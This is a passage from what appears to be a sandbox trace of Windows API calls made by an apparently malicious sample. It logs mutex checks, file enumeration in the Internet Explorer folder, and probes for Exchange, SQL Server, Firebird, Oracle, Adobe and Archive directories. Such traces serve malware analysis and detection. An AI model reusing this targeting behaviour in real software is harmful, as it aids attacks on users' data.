GlobalUnlock (hMem=0x440004) returned 0 [0058.962] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.963] GlobalUnlock (hMem=0x44000c) returned 0 [0058.963] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.963] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3803259, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3803259, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3803259, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieproxy.dll", cAlternateFileName="")) returned 1 [0058.963] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.963] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.963] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.963] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.963] GlobalUnlock (hMem=0x44000c) returned 0 [0058.963] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.963] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.963] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.963] GlobalUnlock (hMem=0x44000c) returned 0 [0058.963] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.963] GlobalUnlock (hMem=0x440004) returned 0 [0058.963] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.963] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa357baf4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa357baf4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa357baf4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEShims.dll", cAlternateFileName="")) returned 1 [0058.963] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.963] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.963] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.963] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.963] GlobalUnlock (hMem=0x440004) returned 0 [0058.963] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.963] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.963] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.963] GlobalUnlock (hMem=0x440004) returned 0 [0058.963] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.963] GlobalUnlock (hMem=0x44000c) returned 0 [0058.963] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.963] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa387567a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa387567a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa387567a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa9b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe", cAlternateFileName="")) returned 1 [0058.964] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.964] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.964] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.964] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.964] GlobalUnlock (hMem=0x44000c) returned 0 [0058.964] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.964] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.964] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.964] GlobalUnlock (hMem=0x44000c) returned 0 [0058.964] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.964] GlobalUnlock (hMem=0x440004) returned 0 [0058.964] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.964] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3686496, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3686496, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa36ac5f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdbgui.dll", cAlternateFileName="")) returned 1 [0058.964] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.964] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.964] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.964] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.964] GlobalUnlock (hMem=0x440004) returned 0 [0058.964] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.964] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.964] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.964] GlobalUnlock (hMem=0x440004) returned 0 [0058.964] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.964] GlobalUnlock (hMem=0x44000c) returned 0 [0058.964] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.964] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe54abd0a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xe54abd0a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x2b495380, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x23600, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdebuggeride.dll", cAlternateFileName="")) returned 1 [0058.964] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.964] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.964] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.964] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.964] GlobalUnlock (hMem=0x44000c) returned 0 [0058.965] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.965] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.965] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.965] GlobalUnlock (hMem=0x44000c) returned 0 [0058.965] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.965] GlobalUnlock (hMem=0x440004) returned 0 [0058.965] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.965] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe41a0e8a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xe41a0e8a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x2b4b9d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20400, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSProfilerCore.dll", cAlternateFileName="")) returned 1 [0058.965] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.965] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.965] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.965] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.965] GlobalUnlock (hMem=0x440004) returned 0 [0058.965] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.965] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.965] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.965] GlobalUnlock (hMem=0x440004) returned 0 [0058.965] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.965] GlobalUnlock (hMem=0x44000c) returned 0 [0058.965] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.965] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa36ac5f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa36ac5f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa36ac5f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x46400, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll", cAlternateFileName="")) returned 1 [0058.965] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.965] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.965] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.965] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.965] GlobalUnlock (hMem=0x44000c) returned 0 [0058.965] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.965] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.965] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.965] GlobalUnlock (hMem=0x44000c) returned 0 [0058.966] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.966] GlobalUnlock (hMem=0x440004) returned 0 [0058.966] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.966] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x825d0f8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0x825d0f8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0x5909b005, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x579f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdbg2.dll", cAlternateFileName="")) returned 1 [0058.966] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.966] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.966] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.966] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.966] GlobalUnlock (hMem=0x440004) returned 0 [0058.966] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.966] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.966] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.966] GlobalUnlock (hMem=0x440004) returned 0 [0058.966] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.966] GlobalUnlock (hMem=0x44000c) returned 0 [0058.966] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.966] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x594eb7ab, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x594eb7ab, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x439e9300, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x83200, dwReserved0=0x0, dwReserved1=0x0, cFileName="pdm.dll", cAlternateFileName="")) returned 1 [0058.966] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.966] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.966] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.966] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.966] GlobalUnlock (hMem=0x44000c) returned 0 [0058.966] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.966] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.966] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.966] GlobalUnlock (hMem=0x44000c) returned 0 [0058.966] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.966] GlobalUnlock (hMem=0x440004) returned 0 [0058.966] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.967] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0058.967] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.967] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.967] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.967] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.967] GlobalUnlock (hMem=0x440004) returned 0 [0058.967] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.967] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.967] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.967] GlobalUnlock (hMem=0x440004) returned 0 [0058.967] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.967] GlobalUnlock (hMem=0x44000c) returned 0 [0058.967] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.967] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.967] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.967] GlobalUnlock (hMem=0x44000c) returned 0 [0058.967] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.967] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.967] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.967] GlobalUnlock (hMem=0x44000c) returned 0 [0058.967] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.967] GlobalUnlock (hMem=0x440004) returned 0 [0058.967] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.967] SysReAllocStringLen (in: pbstr=0x18f444*=0x0, psz="C:\\Program Files\\Internet Explorer\\SIGNUP", len=0x29 | out: pbstr=0x18f444*="C:\\Program Files\\Internet Explorer\\SIGNUP") returned 1 [0058.967] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.967] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.967] GlobalUnlock (hMem=0x440004) returned 0 [0058.967] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.968] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.968] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.968] GlobalUnlock (hMem=0x440004) returned 0 [0058.968] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.968] GlobalUnlock (hMem=0x44000c) returned 0 [0058.968] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\Microsoft\\Exchange Server", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@巤R嶸R企@\x18䁼Q\x18\x1b")) returned 0xffffffff [0058.968] GetLastError () returned 0x3 [0058.968] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\SIGNUP\\", cchLength=0x2a | out: lpsz="c:\\program files\\internet explorer\\signup\\") returned 0x2a [0058.968] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0058.968] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\眵$&\x18\x02") returned 21 [0058.968] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\Microsoft SQL Server", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="缤R䱠@嵤R企@\x18䄌Q\x181")) returned 0xffffffff [0058.969] GetLastError () returned 0x2 [0058.969] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\SIGNUP\\", cchLength=0x2a | out: lpsz="c:\\program files\\internet explorer\\signup\\") returned 0x2a [0058.969] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0058.969] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\眵$&\x18\x02") returned 9 [0058.969] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\Firebird", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="缤R䱠@尼U企@\x18?T\x18;")) returned 0xffffffff [0058.969] GetLastError () returned 0x2 [0058.969] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\SIGNUP\\", cchLength=0x2a | out: lpsz="c:\\program files\\internet explorer\\signup\\") returned 0x2a [0058.969] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0058.969] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\眵$&\x18\x02") returned 8 [0058.970] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\MSSQL.1", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="缤R䱠@羼R企@\x18?T\x18D")) returned 0xffffffff [0058.970] GetLastError () returned 0x2 [0058.970] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\SIGNUP\\", cchLength=0x2a | out: lpsz="c:\\program files\\internet explorer\\signup\\") returned 0x2a [0058.970] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=8, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\\x10") returned 8 [0058.970] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\眵$&\x18\x02") returned 37 [0058.970] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="缤R䱠@嵤R企@\x18尼U\x18j")) returned 0xffffffff [0058.970] GetLastError () returned 0x2 [0058.971] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\SIGNUP\\", cchLength=0x2a | out: lpsz="c:\\program files\\internet explorer\\signup\\") returned 0x2a [0058.971] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵$&\x18\x02") returned 37 [0058.971] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\眵$&\x18\x02") returned 6 [0058.971] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\Adobe", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="缤R䱠@羼R企@\x18?T\x18q")) returned 0xffffffff [0058.971] GetLastError () returned 0x2 [0058.971] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\SIGNUP\\", cchLength=0x2a | out: lpsz="c:\\program files\\internet explorer\\signup\\") returned 0x2a [0058.971] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="adobe\\尸U\x90") returned 6 [0058.971] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\眵$&\x18\x02") returned 7 [0058.971] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\Oracle", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="缤R䱠@Q企@\x18?T\x18y")) returned 0xffffffff [0058.971] GetLastError () returned 0x2 [0058.972] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\SIGNUP\\", cchLength=0x2a | out: lpsz="c:\\program files\\internet explorer\\signup\\") returned 0x2a [0058.972] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="oracle\\T\x10") returned 7 [0058.972] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\眵$&\x18\x02") returned 7 [0058.972] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\Archive", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, 